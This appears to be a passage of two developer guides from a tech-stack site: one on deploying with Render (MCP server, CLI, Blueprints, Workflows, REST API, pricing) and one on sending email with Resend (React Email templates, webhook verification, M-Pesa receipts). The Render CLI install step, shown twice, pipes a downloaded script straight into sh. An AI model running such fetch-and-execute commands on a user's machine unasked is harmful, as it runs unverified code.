Workspace plans went flat-priced: Pro $25/mo, Scale $499/mo, unlimited seats 2026-04-23 (forced migration 2026-08-01) No more per-member fees ($19/$29 per seat on the old Professional/Organization plans)
Compute plans renamed to spec-based IDs (starter → 0.5c-512mb, standard → 1c-2g, pro → 2c-4g) + new memory-heavy and 12-CPU plans 2026-08-26 Legacy names still accepted everywhere; prices unchanged
Render Workflows (TS + Python SDK 1.x) with the usage-billed flex plan, now in Blueprints (type: workflow) public beta 2026-04-07, flex 2026-09-01, Blueprints 2026-09-16 Replaces "worker + Key Value queue" for many background jobs
Hosted MCP server: OAuth for Claude Code/Codex/Cursor, trigger_deploy tool, official Claude Code plugin 2026-07 Install via /plugin install render@claude-plugins-official
Postgres connection pooling (PgBouncer), Key Value persistence modes, new Key Value plans with lower prices 2026-06 → 2026-10-01 Fewer reasons to self-run PgBouncer/Redis
Managed OIDC to AWS, Anthropic and OpenAI (Pro+) 2026-07-24 Call Claude from a Render service without storing a long-lived API key
Render Sandboxes (@renderinc/sdk experimental.sandboxes, render ea sandboxes) early access Not for production yet

A single git push fans out into all of Render's service types:

flowchart LR
  A["git push to main"] --> B["Render auto-build"]
  B --> C["Web service"]
  B --> D["Background worker"]
  B --> E["Cron job"]
  B --> F["Static site"]
  B --> W["Workflow (task runs)"]
  C --> G["Render Postgres / Key Value"]
  D --> G
  E --> G
  W --> G

Official Documentation

Resource URL
Render Docs (append .md to any page for Markdown) https://render.com/docs
Render MCP Server https://render.com/docs/mcp-server
MCP server source https://github.com/render-oss/render-mcp-server
Coding agents (skills + plugins) https://render.com/docs/llm-support
Blueprint (render.yaml) spec https://render.com/docs/blueprint-spec
Blueprint JSON Schema https://render.com/schema/render.yaml.json
Compute plans https://render.com/docs/compute-plans
Render Workflows https://render.com/docs/workflows
Render CLI https://render.com/docs/cli
REST API reference https://api-docs.render.com
Changelog https://render.com/changelog
Pricing https://render.com/pricing

MCP Server Setup

Render hosts the official MCP server at https://mcp.render.com/mcp. Prefer the hosted endpoint over running it locally — it updates automatically as tools ship. Source: github.com/render-oss/render-mcp-server (local binary v0.3.0, Docker ghcr.io/render-oss/render-mcp-server).

It can change production. The server can update a service's env vars (merged by default; replace: true overwrites the whole set) and trigger deploys. Only connect it with an account you're comfortable letting the agent act as.

sequenceDiagram
  participant U as "You"
  participant C as "Claude Code"
  participant M as "Render MCP"
  participant R as "Render services"
  U->>C: "Why is my API down?"
  C->>M: list_services
  M->>R: query status
  R-->>M: status results
  M->>R: list_logs + get_metrics
  R-->>M: logs and metrics
  M-->>C: diagnostic data
  C-->>U: summary and fix

Option A — Render plugin (OAuth, interactive): bundles the MCP server and Render's agent skills.

/plugin install render@claude-plugins-official
/reload-plugins

The first MCP call opens a browser authorization flow.

Option B — API key (non-interactive / CI):

claude mcp add --transport http render https://mcp.render.com/mcp \
  --header "Authorization: Bearer ${RENDER_API_KEY}"

.mcp.json equivalent (the key stays in your shell environment, never in the file):

{
  "mcpServers": {
    "render": {
      "type": "http",
      "url": "https://mcp.render.com/mcp",
      "headers": { "Authorization": "Bearer ${RENDER_API_KEY}" }
    }
  }
}

Create API keys at https://dashboard.render.com/u/settings → API Keys. Then set the active workspace once per session: "Set my Render workspace to <name>" — every tool call is scoped to it.

Tools (hosted server)

Resource Tools
Workspaces list_workspaces · select_workspace · get_selected_workspace
Services list_services · get_service · create_web_service · create_static_site · create_cron_job · update_environment_variables
Deploys trigger_deploy (optionally clears build cache) · list_deploys · get_deploy
Logs & events list_logs · list_log_label_values · list_events
Metrics get_metrics — CPU/memory, instance count, datastore connections, HTTP response counts by status, response times (Pro workspace+), outbound bandwidth
Render Postgres create_postgres · list_postgres_instances · get_postgres · query_render_postgres (read-only SQL)
Render Key Value create_key_value · list_key_value · get_key_value

Can't do (use Blueprint, CLI or REST API): create background workers, private services, workflows or image-backed services; set IP allowlists; change scaling or other operational settings; delete anything.


Render CLI

Official CLI render — v2.30.0 (2026-10-18), source github.com/render-oss/cli.

brew install render            # macOS/Linux
winget install render.cli      # Windows
# or: curl -fsSL https://raw.githubusercontent.com/render-oss/cli/refs/heads/main/bin/install.sh | sh

render login                   # browser auth → CLI token; then pick a workspace
render workspace set           # switch workspace any time
Command Does
render services Interactive list of services/datastores (deploy, logs, SSH, psql from the menu)
render services create --repo <url> … / --image <url> / --from <srv-id> Create (or clone) a service — non-interactive only
render deploys create [SERVICE_ID] --wait Trigger a deploy; --commit <sha>, --image <tag>; non-zero exit on failure
render deploys list [SERVICE_ID] Deploy history
render logs --tail Stream logs (auto-reconnects since v2.29)
render psql [DATABASE_ID] -c "SQL" -o json One-shot query; -- --csv passes flags to psql
render postgres create|update --connection-pool=pgbouncer Manage Postgres incl. the PgBouncer pool (v2.26+)
render ssh [SERVICE_ID] / --ephemeral SSH into an instance or a throwaway shell (non-interactive since v2.30)
render blueprints validate [FILE] Validate render.yaml (exit 1 when invalid)
render workflows dev / workflows versions list / workflows tasks list Local task server and workflow inspection
render skills install Install Render agent skills for Claude Code / Codex / Cursor / OpenCode
render ea sandboxes … Early-access Sandboxes (create, snapshots, egress allow-list)

CI/CD: set RENDER_API_KEY (it overrides CLI tokens and doesn't expire) and use -o json --confirm:

render deploys create "$RENDER_SERVICE_ID" --output json --confirm --wait

The CLI collects usage telemetry by default since v2.26.0 — opt out with DO_NOT_TRACK=1 or RENDER_CLI_DISABLE_ANALYTICS=1.


Compute plans (new IDs)

Since 2026-08-26 plans use {CPU}c-{RAM}g IDs (or mb under 1 GB). Legacy names still work in Blueprints, the API and the CLI; prices didn't change.

Spec New ID Legacy USD/mo (web/pserv/worker)
0.1 CPU / 512 MB free — $0 (web only, spins down)
0.5 CPU / 512 MB 0.5c-512mb starter $7
1 CPU / 2 GB 1c-2g standard $25
2 CPU / 4 GB 2c-4g pro $85
4 CPU / 8 GB 4c-8g pro plus $175
4 CPU / 16 GB 4c-16g pro max $225
8 CPU / 32 GB 8c-32g pro ultra $450

New plans with no legacy name: 2c-8g $135, 2c-16g $200, 4c-32g $350, 8c-16g $300, 8c-64g $1,000, 12c-24g $450, 12c-48g $800, 12c-96g $1,500. Postgres, Key Value and cron have their own tables — see reference/limits-and-pricing.md.

Spelling trap: Blueprints spell the legacy names with a space (pro plus); the REST API uses underscores (pro_plus). Use the new IDs and the problem goes away.


render.yaml Blueprint (Infrastructure as Code)

A Blueprint (render.yaml at the repo root by default; custom paths are supported) is the source of truth for services, databases, env groups, and projects/environments. Connect the repo once in the Dashboard; by default Render re-syncs on every push to the linked branch.

flowchart LR
  A["Edit render.yaml"] --> V["render blueprints validate"]
  V --> B["git push to linked branch"]
  B --> C["Render reads Blueprint"]
  C --> D["Sync services<br/>build · start · plan"]
  C --> E["Sync Render Postgres"]
  C --> F["Sync env groups"]
  D --> G["Live infrastructure"]
  E --> G
  F --> G

Web service + Postgres + shared env group, wired correctly:

# render.yaml
envVarGroups:
  - name: amani-shared
    envVars:
      - key: NODE_ENV
        value: production

databases:
  - name: amani-db
    plan: 0.1c-256mb            # legacy basic-256mb
    databaseName: amani
    user: amani
    region: oregon
    postgresMajorVersion: "18"

services:
  - type: web
    name: amani-api
    runtime: node
    plan: 0.5c-512mb            # legacy starter
    region: oregon
    buildCommand: npm ci && npm run build
    preDeployCommand: npm run migrate
    startCommand: node dist/index.js
    healthCheckPath: /health
    autoDeployTrigger: commit   # commit | checksPass | off
    envVars:
      - fromGroup: amani-shared # how a service attaches an env group
      - key: DATABASE_URL
        fromDatabase:
          name: amani-db
          property: connectionString
      - key: ANTHROPIC_API_KEY
        sync: false             # prompted once at Blueprint creation; never in Git
      - key: SESSION_SECRET
        generateValue: true     # base64 256-bit random value

Attach env groups with - fromGroup: <name> inside envVars. There is no service-level envVarGroups: key — earlier versions of this guide used one and the Blueprint JSON Schema rejects it.

Workflow services are Blueprint-managed too (no plan — plans are set per task in code; region is required; no preview copies):

services:
  - type: workflow
    name: amani-billing
    runtime: node               # workflows support node and python only
    region: oregon
    buildCommand: npm ci && npm run build
    startCommand: node dist/workflow-tasks.js

Sync gotchas. Dashboard edits to a Blueprint-managed resource are overwritten on the next sync. Removing a resource from the file does not delete it. sync: false values are only prompted on the initial creation (later syncs ignore them, and they're not copied to preview environments). Never define one resource in two places (root vs. projects[].environments[] vs. ungrouped). Validate with render blueprints validate, the API's Validate Blueprint endpoint, or your editor via the JSON Schema.

The full starter (web + worker + cron + Postgres + Key Value) is in examples/render.yaml; field-by-field notes are in reference/blueprint-cheatsheet.md.


Render Workflows

Workflows run TypeScript or Python functions ("tasks") as individually provisioned, retried, durable task runs — up to 24 h each, chained with ctx.run(), scaling to zero when idle. Render manages the queue; you pay per-second compute plus short-term retention of task arguments/results.

npm install @renderinc/sdk@1.3.0      # Python: pip install render_sdk==1.3.0

Define tasks (examples/workflow-tasks.ts):

import { task, type TaskContext } from "@renderinc/sdk/workflows";

export const square = task(
  { name: "square", retry: { maxRetries: 3, waitDurationMs: 1000, backoffScaling: 1.5 }, timeoutSeconds: 120 },
  function square(_ctx: TaskContext, n: number): number {
    return n * n;
  },
);

export const sumSquares = task(
  { name: "sumSquares", plan: "2c-4g" },
  async function sumSquares(ctx: TaskContext, a: number, b: number): Promise<number> {
    const [x, y] = await Promise.all([ctx.run(square, a), ctx.run(square, b)]);
    return x + y;
  },
);

Trigger runs from any server-side code (examples/trigger-task.mts):

import { Render } from "@renderinc/sdk";

const render = new Render(); // reads RENDER_API_KEY
const started = await render.workflows.startTask("amani-math/sumSquares", [2, 3]);
const finished = await started.get();
console.log(started.taskRunId, finished.results);

Without the SDK: POST https://api.render.com/v1/task-runs with {"task": "<workflow-slug>/<task>", "input": [...]}.

Fact Value
Default task plan flex — up to 1 CPU / 4 GB, billed on actual use: $0.20/CPU-hour + $0.05/GB-hour (max $0.40/h)
Fixed task plans 2c-4g $0.40/h · 2c-8g $0.70/h · 4c-8g $1.00/h · 4c-16g $1.50/h · 8c-32g $2.50/h (docs; pricing page lists up to 4c-16g)
Timeout 30 s – 24 h per task, default 2 h
Concurrent runs Hobby 20 · Pro 50 · Scale 100 (+$10/mo per extra 50)
Not yet supported scheduling (trigger from a cron job), preview environments, HIPAA workspaces, inbound connections

REST API

The REST API (https://api.render.com/v1, Bearer API key) sits under the CLI and MCP server. Reach for it to create workers/private services, change scaling, or anything else the MCP server can't do.

# List services (each item is { service, cursor })
curl -s https://api.render.com/v1/services \
  -H "Authorization: Bearer $RENDER_API_KEY" | jq '.[].service | {id, name, type}'

# Trigger a deploy: 201 → deploy object, 202 → queued behind an in-progress deploy (no body)
curl -X POST "https://api.render.com/v1/services/$RENDER_SERVICE_ID/deploys" \
  -H "Authorization: Bearer $RENDER_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"clearCache": "do_not_clear"}'

Deploy statuses: created · queued · build_in_progress · update_in_progress · pre_deploy_in_progress · live (success) and build_failed · update_failed · pre_deploy_failed · canceled · deactivated (stop). examples/deploy-and-wait.mts polls GET /services/{id}/deploys/{deployId} until one of those.

Create a background worker (TypeScript, server-side only):

const res = await fetch("https://api.render.com/v1/services", {
  method: "POST",
  headers: {
    Authorization: `Bearer ${process.env.RENDER_API_KEY}`,
    "Content-Type": "application/json",
  },
  body: JSON.stringify({
    type: "background_worker",     // web_service | private_service | background_worker | cron_job | static_site
    name: "amani-worker",
    ownerId: "tea-...",             // workspace ID (Settings page)
    repo: "https://github.com/my-org/my-repo", // no branch in the URL
    branch: "main",
    autoDeployTrigger: "commit",    // commit | checksPass | off
    serviceDetails: {
      runtime: "node",
      plan: "0.5c-512mb",           // default when omitted
      region: "oregon",
      envSpecificDetails: { buildCommand: "npm ci && npm run build", startCommand: "node dist/worker.js" },
    },
  }),
});
const { service, deployId } = (await res.json()) as { service: { id: string }; deployId?: string };

Changing serviceDetails.plan via Update service does not redeploy — follow it with a Trigger deploy call.

Deploy hooks

Each service has a secret deploy hook URL (Settings tab). GET/POST it with no headers to deploy — handy for CMS webhooks and image-backed services. Treat the URL as a secret and regenerate it if leaked.


Environment Variables

The only secret Claude Code / CI needs for Render itself:

RENDER_API_KEY=rnd_...        # Account Settings → API Keys; server-side / CI only

Non-secret settings — keep in plain config, not the vault:

Variable Example Notes
RENDER_SERVICE_ID srv-... Target for CI deploys
RENDER_CLI_CONFIG_DIR ~/.render Override CLI config dir
DO_NOT_TRACK 1 Disable CLI telemetry
PORT 10000 Injected by Render on web services; bind to it, don't hard-code
RENDER_EXTERNAL_HOSTNAME, RENDER_GIT_COMMIT, RENDER_INSTANCE_ID — Built-in runtime vars (see https://render.com/docs/environment-variables)

App secrets (database URLs, Stripe/Clerk keys) live on the service: sync: false / fromDatabase in the Blueprint, the Dashboard, update_environment_variables (MCP; merges unless replace: true), or PUT /v1/services/{id}/env-vars (replaces the whole list). Secret files (≤1 MB combined per service or env group) mount at /etc/secrets/<filename>.


Automation Workflows

Claude Code slash command: service health check

.claude/commands/render-health.md:

Check the health of all Render services in the selected workspace.

Use the Render MCP tool `list_services`, then `list_deploys` for each service.
For any service whose latest deploy is not `live`, fetch recent error-level logs
with `list_logs` and recent `list_events`, and diagnose the failure.
Return a table: service, type, latest deploy status, suspected cause.
Do not trigger deploys or change env vars.

GitHub Actions: deploy after tests pass

Set autoDeployTrigger: checksPass in render.yaml and Render waits for your GitHub checks on its own — no deploy job needed. If you need an explicit job (monorepo fan-out, image deploys), use the CLI:

# .github/workflows/render-deploy.yml
name: Deploy to Render
on:
  push:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '22' }
      - run: npm ci && npm test

  deploy:
    needs: test
    runs-on: ubuntu-latest
    steps:
      - name: Install Render CLI
        run: curl -fsSL https://raw.githubusercontent.com/render-oss/cli/refs/heads/main/bin/install.sh | sh
      - name: Deploy and wait
        env:
          RENDER_API_KEY: ${{ secrets.RENDER_API_KEY }}
          DO_NOT_TRACK: "1"
        run: render deploys create "${{ vars.RENDER_SERVICE_ID }}" --output json --confirm --wait

Pin Actions to commit SHAs per the SLSA policy; tags are shown here for readability.


Pricing at a glance (2026-10-20)

Workspace plan Price Key limits
Hobby $0 + compute 1 seat · 25 services · 5 GB bandwidth · single-service previews · 2 environments/project · 7-day logs
Pro $25/mo flat + compute Unlimited seats & services · 25 GB bandwidth · full-stack previews · autoscaling · isolated environments · OIDC · AWS PrivateLink · audit logs
Scale $499/mo flat + compute Multiple workspaces (org) · 1 TB bandwidth · SAML SSO/SCIM · HIPAA workspaces (+20% compute) · inbound IP rules
Enterprise Custom Uptime/support SLAs, seat-based billing possible

Overages: bandwidth $0.15/GB, build minutes $5 per 1,000, custom domains $0.25/mo each beyond the included 2/15/25. Full tables: reference/limits-and-pricing.md.


Common Use Cases

Use Case Approach
Inspect a failing service MCP list_logs + get_metrics + list_events
Query production DB MCP query_render_postgres (read-only) or render psql -c
Create web / static / cron / Postgres / Key Value MCP create tools, CLI services create, or Blueprint
Create worker / private service / workflow Blueprint or REST API (not MCP)
Long-running or fan-out background jobs Render Workflows (@renderinc/sdk) instead of worker + queue
Deploy on merge autoDeployTrigger: checksPass, or CLI deploys create --wait in CI
Env var management Blueprint / Dashboard; MCP update_environment_variables (merges; replace: true overwrites all)
Change compute plan Blueprint plan: (redeploys on sync) or API update + trigger deploy

Troubleshooting

Issue Fix
Blueprint sync fails on envVarGroups under a service Use - fromGroup: <group> inside envVars
Blueprint rejects a Key Value service ipAllowList is required for type: keyvalue ([] = private only)
Service stuck building MCP list_logs / render logs; check buildCommand
Port connection refused / health check fails Bind to process.env.PORT on 0.0.0.0; avoid reserved ports 18012, 18013, 19099
503 / slow first request Free web service spun down after 15 min idle — use 0.5c-512mb+
Free service can't send email Free web services block outbound ports 25/465/587 — use Resend's HTTPS API
Deploy not triggering Check autoDeployTrigger (and that CI checks pass with checksPass) and buildFilter paths
Old plan name rejected by API API wants pro_plus, Blueprint pro plus — use new IDs (4c-8g)
API key invalid Regenerate in Account Settings → API Keys
Can't reach DB from another region Private networks are per region; co-locate or use the external URL + ipAllowList

codeAmani notes

Official docs:

Resend Integration Guide

Technology: resend · Category: comms · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/resend

Insight:

Resend is codeAmani's email API: transactional sends with React Email templates, plus broadcasts, inbound mail, and webhooks. Send from a verified domain whose SPF/MX sit on the send. subdomain, use idempotency keys, and handle bounce and complaint webhooks to stay under Gmail/Yahoo/Microsoft bulk-sender limits. For Kenya-targeted products, email backs up SMS and WhatsApp. It is never the primary channel there.

██████╗ ███████╗███████╗███████╗███╗   ██╗██████╗
██╔══██╗██╔════╝██╔════╝██╔════╝████╗  ██║██╔══██╗
██████╔╝█████╗  ███████╗█████╗  ██╔██╗ ██║██║  ██║
██╔══██╗██╔══╝  ╚════██║██╔══╝  ██║╚██╗██║██║  ██║
██║  ██║███████╗███████║███████╗██║ ╚████║██████╔╝
╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝╚═╝  ╚═══╝╚═════╝

Resend Integration Guide

Focus: Email for codeAmani products. Send transactional email with React Email templates, receive inbound mail, run opt-in marketing broadcasts, and track delivery through signed webhooks.

Overview

Resend is a developer-first email API from the team behind React Email. codeAmani uses it for auth notifications, payment receipts, onboarding flows, and system alerts. It now covers four jobs:

Job Resend feature Billing
Transactional email (receipts, resets, alerts) emails.send, batch.send, Templates By emails sent and received per month
Inbound email (support inbox, reply handling) Receiving: email.received webhook + emails.receiving.get Counts toward the same email quota
Marketing email (newsletters, product news) Contacts, Segments, Topics, Broadcasts By contact count (separate Marketing plan)
Lifecycle flows (drip, trial expiry) Automations triggered by events.send 10,000 runs/month included

Here is the core flow. Your app hands off to Resend, and delivery events come back to you over signed webhooks:

flowchart LR
  A["Your App"] -->|"react: Template(props)"| C["resend.emails.send"]
  C --> D["Resend API"]
  D --> E["Recipient inbox"]
  D -->|"Svix-signed events"| F["/api/webhooks/resend"]
  F -->|"delivered / bounced / complained / received"| G["Update DB"]

Current versions (verified 2026-10-20)

Package Version Notes
resend (Node SDK) 6.34.1 Major v6. Depends on standardwebhooks and postal-mime. Optional peer: @react-email/render
react-email 6.11.3 Components, render, pretty, and the email CLI all come from this one package
@react-email/ui 6.11.3 Dev-only preview UI for email dev
resend-mcp 2.27.1 Open-source MCP server. The hosted one is at https://mcp.resend.com/mcp
resend-cli 2.26.0 Official CLI (resend binary), launched March 2026
svix 2.8.0 Optional. Only needed for manual webhook verification

Deprecated, so don't use it: @react-email/components is marked deprecated on npm. Import components from react-email instead. @react-email/render is still published (2.1.1), but now it's an internal dependency of react-email and the Resend SDK. You don't import it yourself.

What changed since the last review (2026-08-23)

Official Documentation

Resource URL
Resend Docs https://resend.com/docs
API Reference https://resend.com/docs/api-reference/introduction
Node.js SDK https://github.com/resend/resend-node
React Email https://react.email/docs
Webhooks https://resend.com/docs/webhooks/introduction
Usage limits https://resend.com/docs/api-reference/rate-limit
MCP server https://resend.com/docs/mcp-server
Changelog https://resend.com/changelog

SDK Setup

npm install resend@6.34.1
import { Resend } from "resend";

// Server-side only. RESEND_API_KEY must never reach a client bundle.
const resend = new Resend(process.env.RESEND_API_KEY);

First-party SDKs also exist for Python (resend on PyPI, now with async methods via httpx), PHP, Ruby, Go, Rust, Java, and .NET. codeAmani products are Node/Next.js, so this guide uses the Node SDK. The react property is Node-only.


Core Patterns

Send an email

from, to, and subject are required, plus one of html, text, react, or template. If you leave text out, Resend generates it from html.

// app/api/email/send/route.ts
import { Resend } from "resend";
import { NextRequest } from "next/server";

const resend = new Resend(process.env.RESEND_API_KEY);

export async function POST(req: NextRequest) {
  const { to, subject, html } = (await req.json()) as {
    to: string;
    subject: string;
    html: string;
  };

  const { data, error } = await resend.emails.send({
    from: "codeAmani Labs <no-reply@codeamanilabs.org>",
    to: [to],
    subject,
    html,
  });

  if (error) {
    return Response.json({ error: error.message }, { status: error.statusCode ?? 500 });
  }

  return Response.json({ id: data.id });
}
Field Limit / rule
to Up to 50 addresses. Every to/cc/bcc recipient counts as a separate email against your quota
scheduledAt Natural language ("in 1 hour", "tomorrow at 9am ET") or ISO 8601, up to 30 days ahead
attachments 40 MB per email after Base64 encoding. content (Buffer/Base64) or path (URL), plus optional contentType and contentId for inline cid: images
tags name/value may use ASCII letters, digits, _, and -, up to 256 chars
headers Custom headers, e.g. List-Unsubscribe
topicId Respects a contact's opt-out for that topic
template { id, variables }. Can't be combined with html/text/react

Idempotency keys

Pass { idempotencyKey } as the second argument. The SDK sends it as the Idempotency-Key header. Resend keeps keys for 24 hours, and a key can be up to 256 characters. Use the format <event-type>/<entity-id>.

await resend.emails.send(
  { from, to, subject, react: WelcomeEmail({ userName, dashboardUrl }) },
  { idempotencyKey: `welcome-user/${userId}` },
);

A 409 invalid_idempotent_request means you reused a key with a different payload. Change the key. A 409 concurrent_idempotent_requests means the first request is still running. Retry it later.

React Email templates

npm install react-email react react-dom -E
npm install @react-email/ui -D -E   # preview UI

Add "email:dev": "email dev" to package.json scripts and run npm run email:dev to preview at http://localhost:3000.

// emails/WelcomeEmail.tsx
import {
  Body, Button, Container, Head, Heading,
  Html, Preview, Section, Text,
} from "react-email";

interface WelcomeEmailProps {
  userName: string;
  dashboardUrl: string;
}

export function WelcomeEmail({ userName, dashboardUrl }: WelcomeEmailProps) {
  return (
    <Html lang="en">
      <Head />
      <Preview>Welcome to codeAmani Labs</Preview>
      <Body style={{ backgroundColor: "#f6f9fc", fontFamily: "sans-serif" }}>
        <Container style={{ margin: "0 auto", padding: "20px", maxWidth: "580px" }}>
          <Heading>Welcome, {userName}!</Heading>
          <Text>Your account is ready. Click below to get started.</Text>
          <Section style={{ textAlign: "center", margin: "32px 0" }}>
            <Button
              href={dashboardUrl}
              style={{ background: "#16a34a", color: "#fff", padding: "12px 24px", borderRadius: "6px" }}
            >
              Open Dashboard
            </Button>
          </Section>
        </Container>
      </Body>
    </Html>
  );
}

Two ways to send it:

  1. Pass the component to react and let the SDK render it. In a .ts file, call it as a function: react: WelcomeEmail({ ... }).
  2. Render the HTML yourself, for example to store or log it. render() is async in React Email 6, so always await it:
import { render } from "react-email";
import { WelcomeEmail } from "@/emails/WelcomeEmail";

const html = await render(
  <WelcomeEmail userName={user.firstName} dashboardUrl={`${appUrl}/dashboard`} />,
);
await resend.emails.send({ from, to: [user.email], subject: "Welcome", html });

Resend Templates (dashboard-managed)

Product or ops teams can edit and publish a template in the Resend editor (it has version history), and your code sends it by id or alias:

await resend.emails.send({
  from: "codeAmani Labs <receipts@codeamanilabs.org>",
  to: [customerEmail],
  subject: `Order ${orderId} confirmed`, // overrides the template default
  template: { id: "order-confirmation", variables: { ORDER_ID: orderId, TOTAL: 499 } },
});

Only published templates can be sent. Variable keys may be up to 50 chars. FIRST_NAME, LAST_NAME, EMAIL, and UNSUBSCRIBE_URL are reserved. String values can be up to 2,000 chars. If a variable is missing, the API returns a validation error. Use React Email when the template lives in the repo. Use Templates when non-engineers own the copy.

Batch send

const { data, error } = await resend.batch.send(
  receipts.map((r) => ({
    from: "codeAmani Labs <receipts@codeamanilabs.org>",
    to: [r.email],
    subject: "Payment received",
    html: r.html,
  })),
  { idempotencyKey: `receipt-run/${runId}`, batchValidation: "permissive" },
);
// permissive: data.data = sent ids, data.errors = [{ index, message }]

Batch sends allow up to 100 emails per call, and the whole call counts as one request against the rate limit. They support tags, scheduledAt, template, and idempotency keys. They don't support attachments.

Schedule, reschedule, cancel

const { data } = await resend.emails.send({ from, to, subject, html, scheduledAt: "in 1 hour" });
if (data) {
  await resend.emails.update({ id: data.id, scheduledAt: "tomorrow at 9am ET" });
  await resend.emails.cancel(data.id); // a cancelled email can't be rescheduled
}

Clerk Webhook → Welcome Email Pattern

Send the welcome email automatically when Clerk creates a user. Clerk webhooks are Svix-signed, so verify them with svix and the Clerk signing secret.

svix 2.x changed verify(). In svix@2 (2.8.0 now), Webhook.verify() returns undefined. It no longer returns the parsed payload. Verify first, then JSON.parse the raw body yourself. Code written for svix 1.x that uses the return value gets undefined and crashes. Resend's own resend.webhooks.verify() still returns the parsed event.

// app/api/webhooks/clerk/route.ts
import { Webhook } from "svix";
import { Resend } from "resend";
import { WelcomeEmail } from "@/emails/WelcomeEmail";

const resend = new Resend(process.env.RESEND_API_KEY);

type ClerkUserCreated = {
  type: string;
  data: { id: string; first_name: string | null; email_addresses: { email_address: string }[] };
};

export async function POST(req: Request) {
  const body = await req.text();
  const headers = {
    "svix-id": req.headers.get("svix-id") ?? "",
    "svix-timestamp": req.headers.get("svix-timestamp") ?? "",
    "svix-signature": req.headers.get("svix-signature") ?? "",
  };

  try {
    // svix 2.x: verify() throws on a bad signature and returns undefined on success.
    new Webhook(process.env.CLERK_WEBHOOK_SECRET ?? "").verify(body, headers);
  } catch {
    return new Response("Invalid signature", { status: 400 });
  }
  const event = JSON.parse(body) as ClerkUserCreated; // parse only after verifying

  if (event.type === "user.created") {
    const email = event.data.email_addresses[0]?.email_address;
    if (email) {
      await resend.emails.send(
        {
          from: "codeAmani Labs <welcome@codeamanilabs.org>",
          to: [email],
          subject: "Welcome to codeAmani Labs",
          react: WelcomeEmail({
            userName: event.data.first_name ?? "there",
            dashboardUrl: `${process.env.NEXT_PUBLIC_APP_URL}/dashboard`,
          }),
        },
        { idempotencyKey: `welcome-user/${event.data.id}` }, // Clerk retries are safe
      );
    }
  }

  return new Response("OK");
}

M-Pesa Receipt Emails (Kenya-targeted projects only)

When a Daraja STK Push succeeds, the callback delivers the MpesaReceiptNumber, amount, and transaction date. Send an email receipt as a secondary confirmation. Safaricom's SMS is the user's primary proof, so never block the callback on the email send. The email is a paper trail, not the source of truth.

Here is the flow from a successful payment to a sent receipt:

sequenceDiagram
  participant D as "Daraja"
  participant CB as "Callback route"
  participant DB as "Database"
  participant R as "Resend"
  D->>CB: "STK callback · ResultCode 0"
  CB->>DB: "upsert by CheckoutRequestID"
  DB-->>CB: "inserted · receiptEmailSent false"
  CB-->>D: "200 OK immediately"
  CB->>R: "send PaymentReceipt · idempotencyKey"
  R-->>CB: "email id"
  CB->>DB: "set receiptEmailSent true"

PaymentReceipt Template

The amount is shown with a KES prefix because Daraja amounts are whole shillings. The MpesaReceiptNumber is the reference users quote to support.

// emails/PaymentReceipt.tsx
import {
  Body, Column, Container, Head, Heading, Hr,
  Html, Preview, Row, Section, Text,
} from "react-email";

interface PaymentReceiptProps {
  customerName: string;
  amount: number;            // integer KES
  mpesaReceiptNumber: string;
  transactionDate: string;   // already formatted for display (EAT)
  description: string;
}

export function PaymentReceipt({
  customerName,
  amount,
  mpesaReceiptNumber,
  transactionDate,
  description,
}: PaymentReceiptProps) {
  const rows: [string, string][] = [
    ["Amount", `KES ${amount.toLocaleString("en-KE")}`],
    ["M-Pesa receipt", mpesaReceiptNumber],
    ["Date", transactionDate],
    ["For", description],
  ];
  return (
    <Html lang="en">
      <Head />
      <Preview>Payment received: KES {amount.toLocaleString("en-KE")}</Preview>
      <Body style={{ backgroundColor: "#f6f9fc", fontFamily: "sans-serif" }}>
        <Container style={{ margin: "0 auto", padding: "20px", maxWidth: "580px" }}>
          <Heading>Payment received</Heading>
          <Text>Hi {customerName}, your M-Pesa payment was successful.</Text>
          <Section style={{ background: "#fff", borderRadius: "8px", padding: "20px" }}>
            {rows.map(([label, value], i) => (
              <Section key={label}>
                {i > 0 && <Hr style={{ borderColor: "#e5e7eb", margin: "12px 0" }} />}
                <Row>
                  <Column style={{ color: "#6b7280" }}>{label}</Column>
                  <Column style={{ textAlign: "right", fontWeight: i === 0 ? 700 : 400 }}>{value}</Column>
                </Row>
              </Section>
            ))}
          </Section>
          <Text style={{ color: "#6b7280", fontSize: "12px", marginTop: "16px" }}>
            Keep this receipt for your records. Powered by codeAmani Labs.
          </Text>
        </Container>
      </Body>
    </Html>
  );
}

Send on the Daraja Callback

// app/api/mpesa/callback/route.ts
import { Resend } from "resend";
import { PaymentReceipt } from "@/emails/PaymentReceipt";
import { NextRequest } from "next/server";

const resend = new Resend(process.env.RESEND_API_KEY);

type StkItem = { Name: string; Value?: string | number };
type StkCallback = {
  ResultCode: number;
  CheckoutRequestID: string;
  CallbackMetadata?: { Item: StkItem[] };
};

type PaidTxn = {
  firstTime: boolean;
  customerName: string;
  customerEmail: string | null;
  amount: number;
  mpesaReceiptNumber: string;
  transactionDate: string;
  description: string;
  checkoutRequestId: string;
};

// Your DB helpers: upsert by CheckoutRequestID and report whether this was the first write.
declare function markPaidIfNew(
  checkoutRequestId: string,
  p: { amount: number; mpesaReceiptNumber: string },
): Promise<PaidTxn>;
declare function logError(scope: string, err: unknown): void;

export async function POST(req: NextRequest) {
  const body = (await req.json()) as { Body: { stkCallback: StkCallback } };
  const cb = body.Body.stkCallback;

  // Always ACK Daraja fast. Don't block on DB or email work.
  if (cb.ResultCode !== 0 || !cb.CallbackMetadata) {
    return Response.json({ ResultCode: 0, ResultDesc: "Accepted" });
  }

  // Look metadata items up by Name. Their order isn't guaranteed.
  const items = cb.CallbackMetadata.Item;
  const get = (name: string) => items.find((i) => i.Name === name)?.Value;

  const txn = await markPaidIfNew(cb.CheckoutRequestID, {
    amount: Number(get("Amount")),
    mpesaReceiptNumber: String(get("MpesaReceiptNumber")),
  });

  if (txn.firstTime && txn.customerEmail) {
    // Fire-and-forget: a Resend error must never fail the callback ACK.
    sendReceipt(txn, txn.customerEmail).catch((err) => logError("receipt-email", err));
  }

  return Response.json({ ResultCode: 0, ResultDesc: "Accepted" });
}

async function sendReceipt(txn: PaidTxn, to: string) {
  const { error } = await resend.emails.send(
    {
      from: "codeAmani Labs <receipts@codeamanilabs.org>",
      to: [to],
      subject: `Payment received: KES ${txn.amount.toLocaleString("en-KE")}`,
      react: PaymentReceipt({
